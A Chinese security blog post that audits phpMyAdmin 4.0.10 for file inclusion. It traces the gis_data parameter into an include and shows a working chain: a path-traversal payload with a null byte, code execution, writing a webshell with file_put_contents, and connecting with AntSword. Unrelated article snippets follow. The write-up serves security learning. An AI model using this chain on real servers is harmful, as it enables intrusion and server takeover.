phpMyAdmin 4.0.10 文件包含 -> getshell

phpMyAdmin 4.0.10 文件包含 -> getshell

前言:這里這個漏洞相對來說審計起來不是特別難,但是對于初學者還是有點挑戰性的,從zkaq web課過來的小伙伴想挑戰一下自己代碼審計能力的話,可以直接跳到最后下載源碼,聶風老師上課教的是4.8版本的文件包含漏洞。注:源碼本地搭建無法登錄的話放在win7虛擬機里面運行
(注:如果直接跳到最后拿源碼自己審計的話,在文件包含的時候記得加上token值,就是get傳參中的那串token值留下。)


代碼審計

這里的話漏洞規則是我自己寫的
文件包含的話規則是:

include.*\$.{1,5}|include_once.*\$.{1,5}|require.*\$.{1,5}|require_once.*\$.{1,5}

如果師傅們有什么好的規則或者想法還請評論區分享下


這里的話自動審計出來的文件包含漏洞
還挺多的
這里的話我是自己一個一個追蹤排除尋找漏洞的
所以可能有些地方有漏洞但是因為我知識淺薄沒發現


這里漏洞不存在的案例就放一個了,不然文章就得寫太多了
這里的話能看到一個 include $_REQU


進入查看源碼
這里需要滿足四個條件才能夠包含 target


1 !empty($_REQUEST[‘target’])

empty()函數,判斷內容中的變量是否為空
如果為空,那么返回 True
!是取反,也就是檢測是否非空
說白了就是看一下這里有沒有傳入target這個變量


2 is_string($_REQUEST[‘target’])

檢測變量是否為字符串


3 ! preg_match(‘/^index/‘, $_REQUEST[‘target’])

正則表達式,^符號為匹配開頭,也就是說開頭需要是 index,返回值才是True
結合前面的感嘆號 “!”
布爾值取反,
也就是說,開頭不能是 index


4 in_array($_REQUEST[‘target’], $goto_whitelist)

in_array() 判斷第一個參數是否存在于第二個參數(數組)之中
也就是說,第二個參數是一個數組
判斷這個數組里面有沒有第一個參數


前三個條件都好滿足
主要是最后一個
全文搜索變量 $goto_whitelist
并沒有找到關于它的定義
推測這可能是一個全局變量


全局搜索


點進去查看一下
這里的內容全部被寫死了
也就是說不屬于我們可以控制的范圍
這個點就pass掉了

$goto_whitelist = array(//'browse_foreigners.php',//'changelog.php',//'chk_rel.php','db_create.php','db_datadict.php','db_sql.php','db_events.php','db_export.php','db_importdocsql.php','db_qbe.php','db_structure.php','db_import.php','db_operations.php','db_printview.php','db_search.php','db_routines.php','export.php','import.php',//'index.php',//'navigation.php',//'license.php','index.php','pdf_pages.php','pdf_schema.php',//'phpinfo.php','querywindow.php','server_binlog.php','server_collations.php','server_databases.php','server_engines.php','server_export.php','server_import.php','server_privileges.php','server_sql.php','server_status.php','server_status_advisor.php','server_status_monitor.php','server_status_queries.php','server_status_variables.php','server_variables.php','sql.php','tbl_addfield.php','tbl_change.php','tbl_create.php','tbl_import.php','tbl_indexes.php','tbl_move_copy.php','tbl_printview.php','tbl_sql.php','tbl_export.php','tbl_operations.php','tbl_structure.php','tbl_relation.php','tbl_replace.php','tbl_row_action.php','tbl_select.php','tbl_zoom_select.php',//'themes.php','transformation_overview.php','transformation_wrapper.php','user_password.php',
);

漏洞點


查看代碼

class PMA_GIS_Factory
{/*** Returns the singleton instance of geometric class of the given type.** <span>@param</span> string $type type of the geometric object** <span>@return</span> object the singleton instance of geometric class of the given type* <span>@access</span> public* <span>@static#CTL{n}</span>     */public static function factory($type){include_once './libraries/gis/pma_gis_geometry.php';$type_lower = strtolower($type);if (! file_exists('./libraries/gis/pma_gis_' . $type_lower . '.php')) {return false;}if (include_once './libraries/gis/pma_gis_' . $type_lower . '.php') {switch(strtoupper($type)) {case 'MULTIPOLYGON' :return PMA_GIS_Multipolygon::singleton();case 'POLYGON' :return PMA_GIS_Polygon::singleton();case 'MULTIPOINT' :return PMA_GIS_Multipoint::singleton();case 'POINT' :return PMA_GIS_Point::singleton();case 'MULTILINESTRING' :return PMA_GIS_Multilinestring::singleton();case 'LINESTRING' :return PMA_GIS_Linestring::singleton();case 'GEOMETRYCOLLECTION' :return PMA_GIS_Geometrycollection::singleton();default :return false;}} else {return false;}}
}

追蹤過去
變量 $type_lower 被拼接在了內容里


向上追蹤
這里 $type_lower 是將 $type 的字符轉化為小寫
$type 是函數的傳入參數


然后我們搜索一下這個函數在哪里被調用了
一個一個往下找吧
除了第二個
因為第二個是定義這個函數


第一個,這里傳入參數是 $geom_type


向上追蹤 $geom_type
這里 $geom_type是取出數組
$gis_data中的 gis_type 鍵所對應的值
也就是說
$gis_data 是一個數組
這個數組里面有鍵值對
把 gis_type 取出來
變成變量 $geom_type


再向上追溯
這個代碼塊,會給 數組 gis_type 賦值
如果滿足了 這些 if 條件
那么 gis_type 就相當于被寫死了

查看最上面的 if 條件
! isset($gis_data[‘gis_type’])
isset() 檢測變量是否存在
存在返回 True
加上感嘆號取反
就是不存在返回 True
也就是檢測是否為空
為空才會執行
所以這里也沒什么卵用


再向上追溯
這里第一句先給 $gis_data 建立成一個空數組
然后用了一個函數作為布爾值的返回
如果函數返回值為True
那么$gis_data的值就會變成我們所傳入的
$_REQUEST[‘gis_data’]


追蹤函數

function PMA_isValid($var, $type = 'length', $compare = null)
{if (! isset($var)) {// var is not even setreturn false;}if ($type === false) {// no vartype requestedreturn true;}if (is_array($type)) {return in_array($var, $type);}// allow some aliaes of var types$type = strtolower($type);switch ($type) {case 'identic' :$type = 'identical';break;case 'len' :$type = 'length';break;case 'bool' :$type = 'boolean';break;case 'float' :$type = 'double';break;case 'int' :$type = 'integer';break;case 'null' :$type = 'NULL';break;}if ($type === 'identical') {return $var === $compare;}// whether we should check against given $compareif ($type === 'similar') {switch (gettype($compare)) {case 'string':case 'boolean':$type = 'scalar';break;case 'integer':case 'double':$type = 'numeric';break;default:$type = gettype($compare);}} elseif ($type === 'equal') {$type = gettype($compare);}// do the checkif ($type === 'length' || $type === 'scalar') {$is_scalar = is_scalar($var);if ($is_scalar && $type === 'length') {return (bool) strlen($var);}return $is_scalar;}if ($type === 'numeric') {return is_numeric($var);}if (gettype($var) === $type) {return true;}return false;
}

我們一步一步來看
剛剛調用函數時,傳入的第一個參數為
$_REQUEST[‘gis_data’]
第二個參數為
‘array’


先來看前三個if語句
    if (! isset($var)) {// var is not even setreturn false;}if ($type === false) {// no vartype requestedreturn true;}if (is_array($type)) {return in_array($var, $type);}

第一個檢測$var是否存在
不存在返回 false
如果我們傳入了變量 $_REQUEST[‘gis_data’]
第一個 if 就無影響

第二個if 判斷 $type 的值是否全等于 false
但是$type的值是array
也就過掉了

第三個if是判斷$type是不是數組
很顯然不是,也過掉


然后就是一個switch語句
switch ($type) {case 'identic' :$type = 'identical';break;case 'len' :$type = 'length';break;case 'bool' :$type = 'boolean';break;case 'float' :$type = 'double';break;case 'int' :$type = 'integer';break;case 'null' :$type = 'NULL';break;
}

這里的話 case 就是匹配 $type 的值
當 $type 的值和某一個對應上了
就執行這個case下的語句
很顯然這里沒有一個是array的
無影響


接下來的三個if還是判斷 $type 的值有無對應的

但是很顯然,沒有對應

    if ($type === 'similar') {switch (gettype($compare)) {case 'string':case 'boolean':$type = 'scalar';break;case 'integer':case 'double':$type = 'numeric';break;default:$type = gettype($compare);}} elseif ($type === 'equal') {$type = gettype($compare);}// do the checkif ($type === 'length' || $type === 'scalar') {$is_scalar = is_scalar($var);if ($is_scalar && $type === 'length') {return (bool) strlen($var);}return $is_scalar;}if ($type === 'numeric') {return is_numeric($var);}

最后一個if語句

gettype() 獲取參數的屬性
$type -> array
也就是說我們的$var需要是一個數組
這里的返回值就是True了

    if (gettype($var) === $type) {return true;}

GetShell

利用聶風老師上課講的知識點
創建一個表
寫入一句話木馬
(注:這里木馬的密碼不能是數字,也不能和其他cms里已經用過的參數沖突,不然會被判斷值什么的然后重置)


然后找一下sql文件的儲存路徑


得到路徑
C:/phpStudy/MySQL/data/
然后這里就有一個問題了
linux對路徑大小寫銘感
因為有一條語句會將我們傳入的參數
都變成小寫
所以在linux中,如果路徑里有大寫字母
就不能用了
但是一般來說,是小寫
這也可以成為我們的一種防御思路
銘感路徑用駝峰命名法
簡單好用還能防漏洞


構造payload
gis_data[gis_type]=/../../../../../../../../../../../../phpstudy/mysql/data/wz/abc.frm%00&a=phpinfo();

wz是數據庫庫名
然后拼接起來的話就是
./libraries/gis/pmagis/../../../../../../../../../../../../phpstudy/mysql/data/wz/abc.frm%00.php
因為%00
.php會被忽略


然后訪問存在漏洞的頁面
gis_data_editor.php
利用hackbar
將其他的參數刪掉
留下token
因為會通過token值進行一些判斷
如果沒有token值可能被認定為CSRF攻擊(應該)
從而被攔截


發送數據包之后如果沒反應
可以把上面的url滑到最后
查看上面的url和自己填的一樣不一樣
不一樣就改了


成功代碼執行
然后再改造payload寫入木馬


gis_data[gis_type]=/../../../../../../../../../../../../phpstudy/mysql/data/wz/abc.frm%00&a=file_put_contents(‘3.php’,’’);

這里的話用system() + echo 寫木馬會有點問題,所以就直接用file_put_contents()了


訪問3.php


連接蟻劍
成功拿下目標web服務器


總結

還是剛剛說的那些,這里如果是Linux服務器的話,并且sql文件儲存路徑有大小寫的話,就沒辦法拿到webshell了,并且還不能任意文件包含,還只能包含路徑沒有大寫字符的,反正至少以我目前的水平是不行的,不過 linux 默認mysql文件的路徑是 /var/lib/mysql/。默認情況下是無影響的。

??聲明:?中所涉及的技術、思路和?具僅供以安全為?的的學習交流使?,任何?不得將其?于?法?途以及盈利等?的,否則后果??承擔。所有滲透都需獲取授權

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/38212.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/38212.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/38212.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Python基礎小知識問答系列-隨機數相關

1. 問題&#xff1a; 如何生成x-y之間的隨機整數&#xff1f; 如何生成0-1之間的隨機浮點數&#xff1f; 如何生成x-y之間的隨機浮點數&#xff1f; 如何從列表中隨機獲取一個元素&#xff1f; 如何從列表中隨機獲取多個元素&#xff1f; 如…

代碼隨想錄訓練營第二十四天 78子集 90子集II

第一題&#xff1a; 原題鏈接&#xff1a;78. 子集 - 力扣&#xff08;LeetCode&#xff09; 思路&#xff1a; 本題很簡單&#xff0c;就是在每次遍歷的地方都要搜集結果。 終止條件&#xff1a;當前要收集的起始位置已經大于等于數組的大小的時候證明已經搜集到完成了。 …

Foxit Reader(福昕閱讀器)詳細安裝和使用教程

第一部分&#xff1a;Foxit Reader簡介和基本信息 1.1 什么是Foxit Reader&#xff1f; Foxit Reader&#xff08;福昕閱讀器&#xff09;是一款功能強大的PDF閱讀和編輯軟件&#xff0c;以其快速、輕巧和豐富的功能而聞名。它不僅支持常規的PDF閱讀功能&#xff0c;還提供了…

LeetCode刷題之HOT100之最大正方形

今天下起了暴雨&#xff0c;本以為下午就可以結束的答辯又因為老師開會被推遲。研三的學長走了后我們開始了0元購&#xff0c;收獲頗豐哈哈&#xff0c;做個題 1、題目描述 2、算法分析 給定一個矩形&#xff0c;要求最大正方形。第一次見這種題目哈 2024 6/30 嘿嘿&#xff…

實體零售連鎖企業如何通過物流接口實現數智化轉型升級?

在電子商務浪潮的持續沖擊下&#xff0c;傳統的實體零售行業面臨著巨大的挑戰。為了在線上線下融合的新零售時代保持競爭力&#xff0c;眾多實體零售企業積極尋求數字化轉型的突破。 某中國零售連鎖百強企業近年來致力于打造自有品牌的線上銷售體系&#xff0c;自2021年8月起接…

深入解析 gRPC 的重連機制

目錄 什么是 gRPC 重連機制 gRPC 重連策略 gRPC 重連參數 gRPC 重連機制原理 重連機制的注意事項 小結 gRPC 的重連機制是確保客戶端在連接斷開后能夠自動重新連接到服務器的一種機制&#xff0c;對于分布式系統和微服務架構中的高可用性和容錯性至關重要。 什么是 gRPC…

Python數據分析-風濕關節炎生存分析

一、研究背景和意義 類風濕關節炎&#xff08;RA&#xff09;是一種慢性炎癥性疾病&#xff0c;主要影響關節&#xff0c;但也可能影響身體的其他部分。RA的病因尚不完全清楚&#xff0c;但已知其涉及免疫系統的異常反應。患者的免疫系統錯誤地攻擊自身的關節組織&#xff0c;…

HCIA4.9-4.19筆記

通訊——雙向的&#xff0c;必須保證有來有回才能成功。 當拓撲圖中的所有路由器擁有拓撲圖中的所有網段時&#xff0c;即可實現全網通。 路由器獲取位置網段的方法 靜態路由 由管理員手寫的路由條目 動態路由 所有路由器上運行同一種動態路由協議&#xff0c;之后通過路…

Python 3 注釋

Python 3 注釋 在編程中,注釋是一種用于解釋代碼和提供上下文的方式,它對代碼的執行沒有影響。Python 3 支持多種類型的注釋,包括單行注釋和多行注釋。注釋對于提高代碼的可讀性和維護性非常重要,特別是在團隊合作和大型項目中。 單行注釋 單行注釋以井號(#)開頭,用于…

C++ 成員模板類

#include <iostream> // 包含頭文件。 using namespace std; // 指定缺省的命名空間。template<class T1, class T2> class AA // 類模板AA。 { public:T1 m_x;T2 m_y;AA(const T1 x, const T2 y) : m_x(x), m_y(y) {}void show() { c…

Python 學習之簡單的程序(三)

編寫簡單的Python程序是鞏固基礎的好方法。下面我將給出幾個簡單的Python程序示例&#xff0c;涵蓋了基本的數據類型、控制流、函數和文件操作。 示例1&#xff1a;Hello, World! 這是最簡單的Python程序&#xff0c;用于打印出 "Hello, World!"。 print("He…

初學者指南:如何選擇嵌入式Linux和單片機(MCU)

前言 在嵌入式系統開發領域&#xff0c;選擇合適的平臺是項目成功的關鍵之一。對于初學者來說&#xff0c;如何在嵌入式Linux和單片機&#xff08;MCU&#xff09;之間做出選擇可能是一項艱巨的任務。本文將詳細解釋這兩種平臺的特點、優缺點&#xff0c;以及在不同應用場景中…

低代碼表單配置平臺替代普通表單配置平臺,前端部分重構的設計和思路

前言 最近將公司的舊表單配置平臺重構為低代碼表單配置平臺&#xff0c;這里記錄一下這個過程的設計和思路&#xff0c;不涉及具體的代碼&#xff1b;另外這篇文章基本只涉及前端部分&#xff0c;也不涉及與后端數據交互部分。 需求 固化的表單配置平臺 -> 靈活的表單配置…

TreeMap 和 TreeSet 的基本情況、特性以及使用場景,并對比它們與 HashMap 和 HashSet

TreeMap 基本情況 實現&#xff1a;基于紅黑樹實現的 NavigableMap。排序&#xff1a;鍵按自然順序或自定義順序&#xff08;通過 Comparator&#xff09;排序。特性&#xff1a; 不允許 null 鍵&#xff0c;但允許 null 值。保證鍵有序。迭代時按排序順序。復雜度&#xff1…

【最長公共前綴 動態規劃】2430. 對字母串可執行的最大刪除數

如果有不明白的&#xff0c;請加文末QQ群。 本文涉及知識點 最長公共前綴 動態規劃 動態規劃匯總 LeetCode 2430. 對字母串可執行的最大刪除數 給你一個僅由小寫英文字母組成的字符串 s 。在一步操作中&#xff0c;你可以&#xff1a; 刪除 整個字符串 s &#xff0c;或者 …

vscode中的字符縮進問題

問題描述&#xff1a; 如圖當一行代碼中出現不同類型的字符時&#xff0c;使用tab縮只是插入了固定數量&#xff08;默認4&#xff09;的空格或制表符&#xff0c;仍然無法對齊。 解決方法&#xff1a; vscode找到設置&#xff0c;搜索fontFamily&#xff0c;對應輸入框寫入mon…

Linux系統編程--進程間通信

目錄 1. 介紹 1.1 進程間通信的目的 1.2 進程間通信的分類 2. 管道 2.1 什么是管道 2.2 匿名管道 2.2.1 接口 2.2.2 步驟--以父子進程通信為例 2.2.3 站在文件描述符角度-深度理解 2.2.4 管道代碼 2.2.5 讀寫特征 2.2.6 管道特征 2.3 命名管道 2.3.1 接口 2.3.2…

集成平臺建設方案(Doc原件)

基礎支撐平臺作為系統總體架構的核心&#xff0c;不僅要促進與各應用子系統和第三方系統的順暢交互&#xff0c;還需確保內部業務在該平臺上能夠靈活擴展。針對這一需求&#xff0c;我們對基礎支撐平臺提出了以下要求&#xff1a; (1) 平臺需基于其基礎架構&#xff0c;為多源異…

python基礎:設置代碼格式

隨著編寫的程序越來越長&#xff0c;有必要了解一些代碼格式的約定&#xff0c;讓你的代碼盡可以能易于閱讀。 python代碼編寫規范為PEP8&#xff0c;有興趣的朋友可以下載觀看&#xff0c;這里僅作簡要說明。 1、縮進 PEP8建議每級縮進都使用4個空格。多數情況下編程語言的…

vscode-創建vue3項目-修改暗黑主題-常見錯誤-element插件標簽-用法涉及問題

文章目錄 1.vscode創建運行編譯vue3項目2.添加項目資源3.添加element-plus元素4.修改為暗黑主題4.1.在main.js主文件中引入暗黑樣式4.2.添加自定義樣式文件4.3.html頁面html標簽添加樣式 5.常見錯誤5.1.未使用變量5.2.關閉typescript檢查5.3.調試器支持5.4.允許未到達代碼和未定…